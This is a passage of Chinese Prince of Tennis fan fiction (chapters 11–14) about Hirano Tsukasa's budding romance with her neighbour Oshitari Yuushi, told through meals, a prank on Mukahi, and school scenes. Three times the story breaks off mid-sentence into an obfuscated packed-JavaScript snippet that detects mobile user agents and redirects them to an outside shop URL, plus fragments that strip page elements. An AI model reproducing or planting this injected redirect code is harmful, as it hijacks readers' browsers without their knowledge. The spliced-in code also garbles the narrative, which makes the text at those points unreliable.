平野月咲环视周围,母亲在安慰发烧的孩子,丈夫在认真查看妻子的吊瓶余量,只有一位老人家和年轻女孩不太熟,年轻女孩穿着工作服,应当是陪诊。 秋奈也这样担心她,忍足也这样担心她,她不在意地笑了下,“这样一想,我真是一个独立的人啊。” 偶尔可以依赖下朋友啊。 这句话在忍足侑士嘴里打了个圈又被他咽下。 “令人佩服。”忍足侑士肯定道。 平野月咲重新回到刚才的话题:“好了忍足,快把你的卡号发给我,医药费一共是多少,我转你。还有打车费。” “……不如,我是说,平野请我吃饭吧。” 忍足侑士觉得自己简直是想了个绝妙的主意,“朋友间谈钱太伤感情了。” 邻居,同学,又是朋友。 平野月咲不擅长拒绝朋友,也不是一次和忍足吃饭,她应下,让对方决定时间和餐厅。 “我觉得晚饭就很好。” 晚饭? “忍足,我生病了。”平野月咲委婉地提醒。 “我今天状态正常,没有被传染。”忍足侑士笑了声,“平野,我天天都有运动,抵抗力很好。” 这绝对是在内涵她。 但她不得不承认最近身体素质确实在下降,谁会喜欢来医院呢?平野月咲想她确实是该调整下作息了。 “好吧,餐厅你挑。”她估算了下点滴打完的时间,“我大概还需要一个半小时。” “有点久啊。” 正想说可以改时间,就听他道:“医院附近有家拉面店很好吃。 “正好我有空,我过来等你。” 11. 011 忍足侑士到医院时,平野月咲正在打电话,唇边的弧度是他没见过的温柔,微微一怔。 印象里的平野虽也常笑,但掺杂更多的是客气礼貌,尤其是对不太熟悉的人。 他有点好奇,放轻脚步靠近。 “是……我知道了……” “不用担心哦,我最近很好呢。” “啊……这周不是很方便呢。” “嗯嗯,我一定会过去的。” 一个身影出现在平野月咲的余光中,她乍然被吓一大跳,下意识想要抬手抚心口,被忍足侑士眼疾手快轻轻按住。 “别动。”好险,差点回血 平野月咲心脏狂跳个不停,目露谴责:“你吓死我了……” 长长呼出一口气后,她继续和手机那头的人打电话:“啊我没事姨妈,只是出了点小意外……嗯嗯,好,替我向赤也问好。” 原来是长辈啊。 挂断电话,平野月咲看向坐在她边上的人:“忍足,你走路好轻。” 忍足侑士尴尬笑笑:“抱歉抱歉。” 平野月咲看了下头顶挂着的吊瓶:“还要麻烦你再等一小时。” “没关系。”忍足侑士找起话题,“平野的姨妈是在神奈川吗,听说平野以前在立海大念书。” “是,我国中的时候住姨妈家里。” 现在想来父母那时候就分开了吧,总是往外面跑忙各自的工作。 不过平野月咲在姨妈家过得很开心,想到迄今为止还相信有圣诞老人存在的弟弟,心情轻快,她向忍足侑士弯了弯眼睛:“我的弟弟也打网球。” 第一次看见她如此明亮温暖的笑容,忍足侑士想到她刚刚和姨妈打电话提到的“赤也”。 “切原君?”那个海带头。 “对。” “说实话,有点难以想象……”忍足侑士想了下切原打球暴躁的样子,“你们完全是两个极端。” “他是个单纯善良很可爱的孩子。” 姐姐滤镜好严重…… “忍足有兄弟姐妹吗?” “有姐姐,还有两个堂弟。” “亲姐姐吗?怎么样?” 想起惠里奈,忍足侑士无奈摇摇头:“反正她绝对不会觉得我是单纯善良可爱的孩子。” 关西人随时随地都要吐槽吗? 平野月咲被他逗笑:“不过和姐姐关系不错吧。” 忍足侑士没有否认,叹了口气:“我姐姐会是有一点冒失的性格。” “赤也也是呢。”平野月咲目露怀念,又问她的热心邻居,“所以忍足才这么可靠吗?” 能给人安心感觉的可靠。 就这样直接地夸出来了…… “嘛,迫不得已。”忍足侑士抑制住心中雀跃,“可靠的人可以被人依赖才会有满足感。” 平野月咲又想起弟弟,非常赞同地点点头:“每次帮赤也补习国文英语,虽然很痛苦,但他有进步我就很开心。” 忍足侑士并不是很想聊海带头君:“平野,有个问题很在意。” 平野月咲投去疑惑的眼神。 “冰帝和立海大,平野是支持哪一方的?” 这个问题前几天秋奈也问过。 平野月咲诧异又无奈:“你们冰帝的好胜心……” 她轻笑了声,给出了一样的回答,“我支持冰帝。” 忍足侑士心满意足地笑起来。 有点幼稚。 但他笑得真好看。 “平野现在也是冰帝的。”忍足纠正她。 “是,是。” 有人陪着,偶尔聊两句,时间一下就过得飞快,平野月咲挂完水,心想终于不用再来医院。 “那家拉面店远吗?” “不远,可以走路过去。” “只吃拉面就可以吗?”拉面未免太便宜了。 “现在只想吃拉面……”忍足侑士做出一副苦恼的样子,耸耸肩,“当然,如果平野之后还想请我吃其他的,我很乐意。” 平野月咲微愣,随即抬眼望向他,直勾勾看得忍足侑士心里发毛。 就在他想这句话是不是太轻佻惹得女生反感时,她收回了视线。 “忍足,你是不是觉得一个人吃饭很孤单。” 还能这样啊。 思路豁然被打开了的忍足侑士推推眼镜:“对……” 夜幕下,路灯照出少女唇边温柔的弧度。 “可以啊,偶尔一起吃晚饭没问题。” “……好。” 应下后,忍足侑士总觉得哪里不对劲,那种带点慈爱的目光是什么回事? 他想要辩解,又颇感无力。 算了,暂且先走一步看一步吧,并暗暗下定决心回去要好好补习攻略。 拉面馆装修得古朴,传统日式风格,接近八点,客流量也不少,两人在靠近吧台的位置坐下。 平野月咲看着菜单犯难,忍足已经很快做了决定,她便跟着他点:“我也要一份特制叉烧拉面。” 见他看过来,笑笑,“寿司和乌冬面都很好吃,我相信忍足的品味。” “不会让平野失望的。” 果然好吃。 面条入口的一瞬间,平野月咲眼睛倏地亮了起来,汤底浓厚,面条筋道有嚼劲。 身旁的人并未动筷,在等她的评价。 平野月咲重重点头,眼神真诚:“好吃,忍足总是能发现这么好吃的店。” 得到正向反馈的忍足侑士心情愉悦,掰开筷子:“我还有很多美食收藏。” 他注意到女生拍了张照片,“平野要分享给朋友吗?” “发给我爸爸妈妈看一下。”平野月咲用左手打字,划得飞快,“让他们知道我有在好好吃饭。” 发烧那天提到家人时,她的反应让忍足侑士以为那是禁区,但现在她那么坦然地说到家人…… 这似乎是个很复杂的谜团,忍足侑士不欲探究太多个人隐私。 想到家人,忍足侑士也拍了张照片发到家庭群里。 妈妈:[小侑的晚饭嘛,有点晚呢] 惠里奈:[!!!] 惠里奈:[这是医院旁边的那家拉面店!] 惠里奈:[妈妈,你儿子绝对在约会!] 惠里奈的记忆竟然这么好,忍足侑士笑了下,没有在群里发言。 平野月咲饭量小,吃得慢,忍足侑士有意等她,两人差不多同时停筷。 她偏头问:“回家?” 忍足侑士的心跳蓦地空了一拍,镜片后澄澈的双眸映出她的轮廓。 天然系啊,就这样轻易说出“回家”两字,他可是心思敏感的少年……真是的忍足侑士你到底在胡思乱想什么? 他不动声色掩去眸中情绪:“饭后散步消食,对身体更好。” 平野月咲顺从地点头:“忍足也很注重养生啊。” 忍足侑士默认。 路灯将两人并肩的身影拉得颀长。 忍足侑士忍不住想,平野什么时候能察觉到他的心意呢? 他既害怕表现得太明显会吓到对方,又期待更近一步。他们已经是朋友了,但他不甘心局限于此,他没有扮演深情男二的兴趣。 两道影子比他们靠得要更近一点,一伸手就可以触碰到,忍足侑士鬼使神差地抬起手指—— 碰到了。 就在这时,口袋里的手机突然震动起来,只窃喜一秒的他慌乱收回手。 手机铃声随后响起。 忍足侑士看着来电人的名字,深呼吸两下接起,咬牙切齿:“岳、人。” “侑士,你是不是心情不好……”对方小声嘟囔,“明明早上心情很不错来着。” 他的镜片反着白光:“没。岳人,找我什么事?” 他朝平野月咲露出一个歉意的眼神。 “侑士,我在你家公寓楼下……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454810|201215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >忍足侑士秒懂:“你又——” “拜托了侑士,收留我两天吧!” 打扰他约会……必须得让岳人请他半个月的果汁! “嗨嗨……我知道了,我在外面,马上回来。”忍足侑士揉了揉眉心,看向静静等他的少女,“不好意思平野。” 平野月咲从他的对话中也听出来个大概,点点头。 “我也觉得差不多该回去了。”想了想又补充一句,“不然该吃宵夜了。” 忍足侑士静默半晌:“你很会吐槽。” 但完全没有被吐槽的高兴啊! “吐槽还是你们纯正的关西人有天赋。”平野月咲淡定接话,语气遗憾,“很可惜,我只有四分之一的关西血统。” “四分之一?” “我的祖母是大阪人,和忍足你一样。”想到祖母,平野月咲神色有几分黯然,又释怀地笑笑,“所以会觉得和你说话很亲切。” 忍足侑士猜出几分,想要说些安慰的话,平野却已转过身去拦的士。 “走吧。” 上车后,平野月咲打破车内安静的氛围:“是向日同学吧?刚刚和忍足打电话的人。” “嗯……对,岳人他经常来我家借住。”忍足侑士给搭档留面子,没说“离家出走”这个词。 “关系很好呢。” “算是吧。” 向日君要是看到他们从一辆车上下来,会不会产生误会……但忍足好像一点不在意的样子。 平野月咲提醒邻居:“他等会看到我们一起出现,会不会吓一跳。” “绝对会被吓一跳,等着看吧,平野。”忍足侑士勾了勾唇。 平野月咲看懂了这个邪恶的想要捉弄对方的笑容,她垂眸,内心的邪恶小人暗暗搓手。 到公寓楼下时,向日岳人正百无聊赖地坐在休息区,看到并肩进来的两人,一瞬间嘴巴张成O型,眼睛瞪得铜铃一般大。 “侑、侑士!”又看向右边的女生,“平、平野桑……” “岳人。”忍足侑士双手插兜。 “向日君。”平野月咲挥挥手。 两人都淡定地打招呼。 “?!” 什么情况!没听说侑士谈恋爱了啊,不对不对,怪不得他早上笑那么浪荡,已经发展到同居这一步了吗…… 等等!他是不是该离开这里…… 思绪乱飞间,他已经被忍足搭上肩膀,带进了电梯。 啊啊啊啊谁来救救他!平野怎么还在……啊啊啊迹部,迹部显显灵吧求你了…… 平野月咲观察着向日变幻又不敢说话的神色,和忍足侑士对视一眼,唇角同时勾起。 还挺好玩。 叮—— 电梯停在二十六层。 平野月咲踏出电梯,故意往家相反的方向走,对上惊恐回头的向日岳人的视线,朝他轻轻颔首。 忍足侑士在输密码,余光捕捉到平野唇边的笑意,很开心嘛……他也是。 门打开的一刹那,向日岳人也终于下定决心:“侑士……我觉得我还是去日吉家……” “岳人,来都来了。”忍足侑士毫不客气地把他推进室内。 “不不不——” 真有趣。 平野月咲噗嗤一声笑了出来,和两人告别:“那么……再见。” 忍足侑士按着要逃窜的向日岳人回应:“再见,平野。” 目瞪口呆看着平野月咲打开对面的门之后,向日岳人终于意识到他被耍了! 刚进玄关,平野月咲听到身后传来一声怒吼,又被及时制止,发出挣扎的“呜呜”声。 然后是忍足侑士极为淡定地:“岳人,不要害我被扰民投诉啊。” 关上门后她的笑容也久久未散去。 十一点,平野月咲正在思考该如何安排新书男女主的感情线。放在旁边的手机屏幕忽然亮起,一条消息跳出。 忍足:[晚安] 12. 012 周六,平野月咲十点左右醒来,洗漱过后没多久,门铃响了。 透过猫眼她看到一个红色的妹妹头。 平野月咲开门:“向日君,早上好。” “早上好!平野桑!”向日岳人的声音和他的头发颜色一样有活力,他开门见山地邀请,“我和侑士要出门吃饭,你去吗?” 她一下没反应过来,发出疑惑地一声“啊?” 向日岳人认为平野月咲人很好,因为对方拯救了他演公主的命运,还说他能演超级英雄。 简直太有眼光了! 因此,在可恶的搭档说到“平野好像一个人住,会有点孤单呢”的时候,他就觉得她很不容易。 什么?你要问忍足不也是一个人住吗? 那怎么能一样啊! 向日岳人又重复了一遍:“平野桑,要不要和我们一起出去吃饭。” 好亮眼的笑容,好活泼,和赤也一样。 昨晚和忍足一起戏耍了他,对方却不计前嫌地示好了,平野月咲的愧疚感一下拉满。 “啊谢谢,我正发愁中午吃什么呢,非常感谢向日君的邀请。” 向日岳人眼睛一亮,又寒暄几句,兴奋地回了忍足家。 “侑士,平野桑答应了!” 在门后听了全程的忍足侑士不禁郁闷,最近莫非是阳光型比较受欢迎吗? “那你有没有问她想吃什么?” “啊?那我再去问一下,不对,还是等会问吧,打扰人家两次有点不礼貌……” “啊呀,真没办法,还是我来问好了。” 忍足侑士淡定掏出手机。 “侑士,你有平野桑的联系方式怎么不早说,快推给我。”向日岳人冒着星星眼,“我要和她搞好关系,就可以快点演上超级英雄了!” 这单纯的孩子,还不知道迹部那奇怪的胜负欲想让他演公主。 算了,离文化祭还有好久,先不让他的梦想破灭。 没过一会,传来他惊喜的声音:“平野桑人真好!她问我喜不喜欢吃甜点,她要请我吃诶!” 闻言忍足侑士默默看了眼还没退出的聊天界面:[楼下随意吃一点就好] 他这样沉稳的吐槽役类型已经过时了吗?最近连喜欢的恋爱小说作者都发动态要写阳光开朗型主角…… 疑似念力起了作用,顶部突然显示“对方正在输入中”,忍足侑士瞪大眼睛,很快,两条新消息弹出: [总感觉昨晚捉弄了向日君很过意不去,我准备买点甜品赔礼道歉] [忍足喜欢吃吗?] 出于愧疚,平野月咲想要补偿大度的向日同学,对方看起来是会喜欢吃甜品的性格,询问后果然得到肯定答案。 她打开秋奈大为推崇的甜品店的网址进行选购,每款甜品精美的展示图上还配有别出心裁的宣传语,这让身为文字工作者的她很感兴趣,细细看过每一款。 巴斯克是“吃了会心软”,舒芙蕾是“咬一口,云朵缺一角”……都很有意思。 平野月咲想到马卡龙,她厌恶马卡龙最出名的别称,有点好奇这家店会怎么写它的宣传语。划了几页终于找到,色彩缤纷的马卡龙做成爱心形状,图片上的手写字拙朴可爱,写着“青涩初恋的心跳声”。 屏幕上方忽然弹出一则消息。 忍足:[喜欢] 呼吸骤然一紧。 平野月咲盯着手机,眨眨眼。 ……喜欢甜品是吧,看在马卡龙的份上,她就多买一些。 刚下完单,门铃便响了起来。 一蓝发一红发站在她家门口,还挺和谐。 向日岳人抢先说话:“平野桑,我们去吃鳗鱼饭,你喜欢吗?不喜欢我们就换一家。” 平野月咲没有意见,对上忍足侑士的视线后,互相颔首示意。 电梯门打开,忍足侑士长腿一迈,站在中间。 哈——? 不应该是女生优先吗?这也太不绅士了…… 向日岳人震惊地看搭档一眼,对方面无表情,竟然毫不心虚。 还好女生没多想,自然地站到他坐边,他也懒得管自己不绅士的搭档,进电梯后便开始找话题。 “平野桑没考虑养只小动物吗?一个人住多孤单啊。” 平野月咲摇摇头:“要是它把我家拆了,我会疯的。” 养宠物就像开盲盒,万一开到只神经点的,平野月咲一定是超级大忍人,这一点她早有体会。 所以一有这个念头就会被她立刻掐死。 不过她找到了更好的办法,每月捐款给宠物救助中心,以及—— “我云养。”平野月咲翻出一张照片递给向日,“这是我云领养的企鹅。” “……这也行?”向日岳人惊得瞪大眼,接过她的手机,“不过很可爱。” “诶,让我也看看。” “可以啊。” 向日岳人正放大欣赏企鹅,没看几秒,就被得到应允的忍足侑士夺过了手机。 这家伙简直像抽风了一样不正常。 “云养宠物很有趣啊,无聊的时候我就看看我的企鹅在干什么,游到哪里了。” 如果没动静或是突然移动速度变快就要担心是不是被可恶的虎鲸吃掉了。 “好厉害!”向日岳人也打开手机找照片,“我们网球部的成员有养小动物的,这是宍户家的小狗,凤家的小猫。” 他也不客气地把碍事的阻挡他拉进和平野关系的忍足侑士挤到一边,将手机递过去。 平野月咲一张张划过去,非常中肯地评价:“都很可爱。” “哦对了,迹部也有只狗。” “……这只有点夸张。” 向日岳人像是找到了知己:“我也这么觉得!简直和他本人一样夸张!” 在角落的忍足侑士额角青筋直跳。 “好了岳人。”他把向日捞回来,“刚刚不是喊饿吗,少说点话先吃饭去。” 又将手机递还给女生,“你的企鹅很可爱。” 平野月咲看着勾肩搭背的两位少年露出一个笑:“谢谢,你们感情真好。” “我和侑士组了四五年的双打!” 忍足侑士笑而不语,电梯门打开,揽着他往外走,回头看一眼后边的女生,怕她没跟上。 一开始平野月咲跟在他们后面,但感觉有点奇怪,迈大步伐,走到忍足侑士另一侧,三人并行。 吃饭时三人也以这样的位置在吧台入座,等餐的间隙,向日岳人依旧试图和平野月咲搭话。 “平野桑,你平时会自己做饭吗?” 虽然中间隔了一人,但他从前面探出一个红色的头来。 真热情啊,向日同学。 对比之下,忍足倒是一副冷静优雅的模样,啜一口大麦茶,伸另一只手把向日按回去。 向日岳人的脑袋又从后面探出来。 他们两个也太好玩了,平野月咲被逗笑:“会,但是比较少。” 两人又以喜欢的食物口味为话题聊起来。 都说三人的友谊会有一位被冷落,忍足侑士一味地喝茶,并不参与他们的话题。 “忍足呢,你喜欢吃什么?”话刚问出口,平野月咲想起来他刚说过喜欢甜品,补上一句,“除了甜食呢?” 忍足侑士阴转晴,放下杯子:“比较喜爱的是青箭鱼。”想了想又道,“还有章鱼烧。” 说完就被两人一同吐槽。 “侑士对章鱼烧还真是执着。” “倒是非常符合对大阪人的刻板印象。” 忍足侑士推推眼镜:“平野可别忘了你也有四分之一的大阪血统。” 平野月咲明显地感知到他心情好许多。 “我知道大阪一家章鱼烧特别好吃,小时候经常光顾。” 她说了个地址,忍足诧异:“……那家也是我认定的最美味的章鱼烧。” 向日岳人发出惊叹声:“诶诶——说不定你们以前还见过呢。” 四目相接,平野月咲说:“我在大阪上过一年小学。” 忍足侑士似有所感,报出他在大阪的小学名字:“道顿堀第二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454811|201215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小学。” 平野月咲点头,眼眸微微亮:“我是二年级转学过来的,只念了一年。” 那时候祖母的身体已经不太好了,她和祖母感情深厚,哭着说不念书了要去陪祖母,父母为她转到大阪的小学,三年级又回到东京。 忍足侑士垂眼笑了下:“我二年级的时候转学了,不过后来又转学回去。”因为父亲工作的原因,他小学就转学搬家过六次。 “好可惜,那本来你们两个小学就该认识嘛。”向日岳人感叹,“命运真是捉摸不透啊。” “现在也不晚。”说不惋惜是假,但忍足侑士耸耸肩,“我们还是很有缘分的。” 他坚信错过的命运线再次相交,会有不一样的结果。 关于很有缘分这个说法,平野月咲也赞同,她忽然想起来在大阪上学的那一年,班上唯一一个现在还有印象的同学。 “或许……你认识忍足谦也吗?”平野月咲努力回想了下,“Kenya,应该是叫这个名字。” “是侑士的堂弟,现在是四天宝寺网球部的正选,速度很快!”向日岳人道。 这么巧! 忍足侑士更加惊讶,却发现女生的笑容有些勉强:“你和谦也认识?是同班同学吗?” “他往我桌子里放过虫子……”平野月咲尴尬地喝口茶,“被我打哭了。” “……” 一阵沉默。 “那个……请替我向他道歉。” “是他太失礼了,我替他向你道歉。” 他一不在谦也就做出那么恶劣的事来,谦也这个低情商的家伙,也从来没告诉过他被女孩子打哭的事情,一定是觉得丢脸。 “完全想象不到平野打人的样子……”向日岳人摸摸红发,“平野看起来就很随和啊。” 记忆有些模糊,平野月咲想应该是那时候心情不好还要被欺负,一下子就爆发了。 “不过也是谦也桑的问题,他怎么能做这种事啊……” “就是啊。”忍足侑士的关西腔超认真,“我一定会说他的。” 平野月咲托腮看着茶杯,唇角笑意加深。 鳗鱼饭陆续上餐,三人各自端了自己那份,气氛顿时安静下来,吃完饭又一起回了公寓。 客厅仍堆着十几箱书,平野月咲本打算周末这两天整理,但挂了两天点滴,手背隐隐作痛。 敲键盘也会有点疼,她尝试着语音输入,倒是又解锁了不一样的感觉。 另一边,忍足侑士正在看书,手机收到公寓管家的一则通知。 他朝客厅喊了声:“岳人,去门口拿下包裹,应该是平野买的甜品。” 向日岳人在打电动,闻言撇撇嘴按了暂停键起身。 没办法,寄人篱下得有寄人篱下的觉悟。 “天呐,怎么有这么多。”向日岳人边嘟囔边抱着两大盒子进来,“侑士,你快过来看。” 正看到精彩处,忍足侑士不太情愿地放下书走到客厅,看到摆在茶几上的大盒子也错愕不已。 盒子打开,里面又是各样透明的小盒子,各自装着赏心悦目的甜品,另外还有长长一张小票。 向日岳人扫了一眼单价,震惊,又不敢置信看了眼总金额:“这也太破费了!” 虽说在冰帝读书的大多是中上阶层的孩子,忍足家算是医学世家,向日家则经营电器行,但除了真正的豪门世家外,大部分家长们也不会给孩子太多零花钱,忍足侑士更是有勤俭节约的美德。 “我半个月的零花钱,天啊,平野是什么隐藏的大小姐吗?” 这个夸张的金额……向日岳人难以控制地发出这样的感慨,并不知所措地看向搭档。 忍足侑士也苦大仇深地看向那一堆甜点,还没吃就开始感觉牙疼了。 “我问问她。” 他拍了张照发过去:[平野……是不是太多了/震惊] 一小时后他收到对方回复。 [你不是喜欢吗?] 内心却升起一股难以形容的欢喜。 他的感觉没有错,对吧? 13. 013 周一到教室后,平野月咲收获很多同学的关心。 甚至有些并没有太多交集的同学也会来和她说一句:“多注意身体。” 她一一微笑着感谢。 忍足侑士见过她在社团招新时的社死,以为她是不太擅长社交的类型。现在看来,她人缘很是不错,应付社交也很有一套。 或许是爱对着窗外发呆的缘故,她大多数时候都面无表情,让人误会,但只要对方释放出善意,她也会以同等的善意对待,眉宇舒展时随和又漂亮。 连和她搭话的男生都多了。 忍足侑士无语地扯扯嘴角。 “平野,借你上周四周五的笔记。” “好,谢谢。” “不客气。” 中午,平野月咲和藤沢秋奈汇合,对方一见面就先给了她个大拥抱。 “完全康复了吧?” 平野月咲点点头:“让你担心了。” “不放心,我摸摸。” 藤沢秋奈伸手向她的额头而来,女生手掌皮肤细腻,柔软地贴在她额头上。 她看着秋奈琥珀色的眼睛,发烧时的记忆一下子涌了上来,额头不一样的温暖触感和她需要微微仰视的双蓝得发黑的眼睛…… “嗯嗯,不烫。”藤沢秋奈发现她在出神,“月咲,哪里不舒服吗?” 平野月咲定了定神,摇摇头,挽起她的胳膊:“没事没事,我们快去吃饭吧。” 这个小插曲让平野月咲在回到教室时多看了忍足侑士两眼。 “怎、怎么了平野?” 忍足侑士心里忐忑。 难道说他吃完饭嘴没擦干净?可恶啊他的形象…… 平野月咲转身,双手撑着他桌子,以一种俯视的姿态认真地打量他。 忍足侑士有一双多情的桃花眼,像夜晚的海洋,深蓝,神秘。 对视没有持续多久。 在忍足侑士感觉心快要跳出胸腔之前,散落在他桌上的黑长发跟随女生落座的动作离开。 忍足侑士干笑两声:“平野,不说话很吓人。” 不说话是因为心跳在加速。 和这双眼睛对视时会持续产生一种奇妙的化学反应。 平野月咲抬眸看他:“忍足,你的眼睛特别漂亮。” 特别。 啊,又来了,她总是喜欢这样夸人,偏偏语气又真诚到极点。 这样才是最犯规的。 “你近视度数高吗?”平野月咲给出建议,“可以考虑戴隐形眼镜,最近很流行。” 这样漂亮的眼睛藏起来可真浪费。 “平野不知道吗?” “嗯?” 她怎么会知道,镜片看起来不厚,想必度数也不高。 谁知对方把眼镜一摘,调转方向,架到了她鼻梁上。 平野月咲眨了下眼,视线依旧清晰。 “我这是平光镜。”忍足侑士发出轻轻一声哼笑,“好呆啊平野。” 平野月咲在手机屏幕上照了照,果然看不习惯,皱皱眉,摘下来还他。 “原来是装饰作用。” “嘛,倒也算是。” 实际上是因为被人盯着眼睛看会不自在,但现在有人隔着眼镜看他也不自在。 一向从容的忍足侑士没有这么紧张过。 忍足侑士重新戴上眼镜,又习惯性地推了推。 他的手指修长又匀称,推眼镜的时候微微张开,中指抵着眼镜中梁轻轻地推一下,说不上来的赏心悦目。 平野月咲改变想法:“忍足你确实是戴着眼镜更合适。” 又在夸他…… 忍足侑士微微挑眉:“平野,好不好奇我什么时候会摘眼镜。” 平野月咲思忖道:“睡觉或者洗澡的时候吧。” “这倒是没错,不过还有——” 就见忍足侑士弯了下唇,用被她夸漂亮的眼睛盯着她。 “接吻的时候。” 本就低的声线被他刻意压低几分,酥酥麻麻落在平野月咲心尖上。 好半天她才找到自己的声音:“这样啊……” 上课铃在这时打响,她连忙转身回正。 扳回一城的忍足侑士心情愉悦,他多年的恋爱小说可不是白看的。 很快,他又意识到刚刚说的话是多么有歧义多么轻浮。他自认不是冲动的人,关系的拉近让他一下子得意忘形了。 明明应该循序渐进啊…… 他懊恼地拿出手机,点开和平野的聊天框,删删减减半天才编辑完:[平野,我开玩笑的……请别放在心上……] 还未发送,讲台上传来老师严肃的声音:“忍足侑士同学,请你站起来重复一遍我刚刚念过的内容。” 什、什么? 他没听啊啊啊! “是。” 内心挣扎,忍足侑士面上维持着冷静起身。 好了,这堂课结束,优等生忍足侑士就要晚节不保了。 哦,大难临头还能吐槽自己,这怎么不是他内心的强大之处呢? “老师刚刚念的是……”忍足侑士故意放慢语速。 余光里,前面女生端正的坐姿变了姿势——纤瘦的背往左边倾斜很多,脑袋靠向左手,与此同时将课本往右边挪了挪,握着笔在书面第二段某处划线的地方打了个五角星标记。 忍足侑士2.0的绝佳视力迅速捕捉到划线内容:“看到这番情景,仆役……” “很好,请坐。” 虽然这样说,老师还是别有深意地看了他一眼。 忍足侑士不敢再有小动作,乖乖坐完后半节课。 “平野,谢谢你。” “不用谢,视力确实不错。” 说完她又将头转了回去。 - 社团招新截止到今天,下午部活时,话剧部又收到一张报名表。 等来送报名表的腼腆学弟走后,栗山小百合一改她稳重的样子,激动地握拳:“Yes!那么今年一共有十三位新成员加入!” 三木拓帮她整理着报名表统计资料,这些之后要上交到学生会。 平野月咲在和柳生友绘探讨怎样塑造人物这个话题,友绘最近在尝试写小说。 神谷夏美也听得入神。 “讲得真好,我都想动笔写故事了。”说完又叹气,“不过真正动笔了才知道写作是一件多么困难的事。” 曾经尝试过然后放弃的沼田肯定道:“难的是坚持,不适合三分钟热度的人。” 平野月咲鼓励她们:“哪怕每天就写一段话,也比不写就放弃的好,会越写越好的。” 不拘是什么形式,生活碎片、灵感片段、读书感悟,有什么写什么,她每天都要记录一点,这样才觉得这一天是完整的。 “月咲到时候给新成员也讲讲吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454812|201215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”栗山小百合建议,“从文字入手,让大家更好理解人物。”避免他们拿到剧本,不懂角色就乱演。 平野月咲点头应下。 栗山小百合越发觉得这个主意好,环视一圈,开始点名:“不光是月咲,夏美也给大家讲讲如何能快速带入情绪……” “认真起来倒是真有个部长的样子嘛。”三木拓小声吐槽道。 他的声音说大不大,说小不小,点兵点将的栗山小百合没听到,在他身边的平野月咲一字不落地听到了。 “小百合前辈很努力的。” 粗中有细,对部员们也很是关心。 “前辈你呢?” 三木拓啊了声,“我什么?” 平野月咲笑笑,又看了眼正在说话的部长,意思不言而喻。 三木拓没说话,垂眸不知道在想什么。 “喂三木,你没在听我讲话吧,今天你来打扫卫生。” 三木拓翻了个大大的白眼:“行行,我哪天不打扫。” 平野月咲淡淡接话:“周四啊。”周四没有部活。 “……” “噗哈哈哈——” 栗山小百合笑得形象全无,月咲总是出其不意就能冒出一句冷幽默,看三木一脸无语的样子她就心情舒畅。 部活结束,平野月咲和柳生友绘一起往电车站去,一路上柳生友绘都在想事情,到电车站后幽幽叹了口气。 “喜欢为什么不说呢?三木前辈。” “很简单,怕被拒绝啊。”平野月咲摸了摸她的头,“害怕失去,害怕连朋友都没得做。” 柳生友绘平常看的小说里也有很多暗恋情节,但最后男女主一般都会是圆满结局。 想到这里,她又叹气:“前辈,你上周发的那篇文也太虐了,哥哥还以为我在学校受欺负了。 “不过前辈写BE美学也有一手,那种酸涩的心情,真是令人难忘…… “简直就像失恋了一样。” 话音刚落,柳生友绘心里咯噔一下——写出那样真情实感文字的作者本人,不会真的失恋了吧? 顿时有些不知所措地看向平野月咲:“抱歉前辈……” 那该是比失恋还要难过的心情。 平野月咲安抚地朝友绘摇摇头,露出一个笑:“没有失恋。” “那就好那就好。”柳生友绘松一口气,眼睛转了转又问,“前辈喜欢什么类型的男生?” 以前也被问过好几次这个问题,平野月咲的回答一直是:“长得高,帅气,温柔体贴,钟情专一。” 大概所有女生的理想型都是这样。 这一次,脑海里有道声音悄然浮现。 她想了又补充一句,“声音一定好听。” “好宽泛。”柳生友绘皱起眉头,问出关键问题,“戴眼镜的呢?” 眼镜、声音又好听。 平野月咲抿抿唇,心情微妙。 “平光镜啊……” 虽然不知道她为什么这么说,柳生友绘纠正道:“不是平光镜,轻微近视。” “想什么呢。”平野月咲回过神来,不轻不重拍她一下,“小心被你哥哥知道。” 做了三年校友,但柳生比吕氏是怎么推眼镜来着?她竟然一点也记不起来。 柳生友绘做了个鬼脸,和平野月咲挥手告别。 “前辈,明天见!” “明天见。” 14. 014 平野月咲是理智又冲动的人。 感性的时候居多,可感情用事并不好,所以她会克制自己这一面,理智处事,也常被人觉得成熟。 一旦冲动,说不定会做出什么可怕的事来。 和热心邻居这段略微暧昧的关系截至目前为止,她是处于被动的一方,只要对方停止靠近,关系就会停滞不前,或是后退。 而忍足侑士停下了靠近她的动作。 新学期只有第一周最轻松。第二周进度一下拉得飞快,课业、部活、写文占据了平野月咲白天到晚上的时间,忙碌着就没空再去想许多。 他们如普通同学般相处,见面微笑打招呼。两人都仿佛约定好一般,默契地没再提起那天的事。 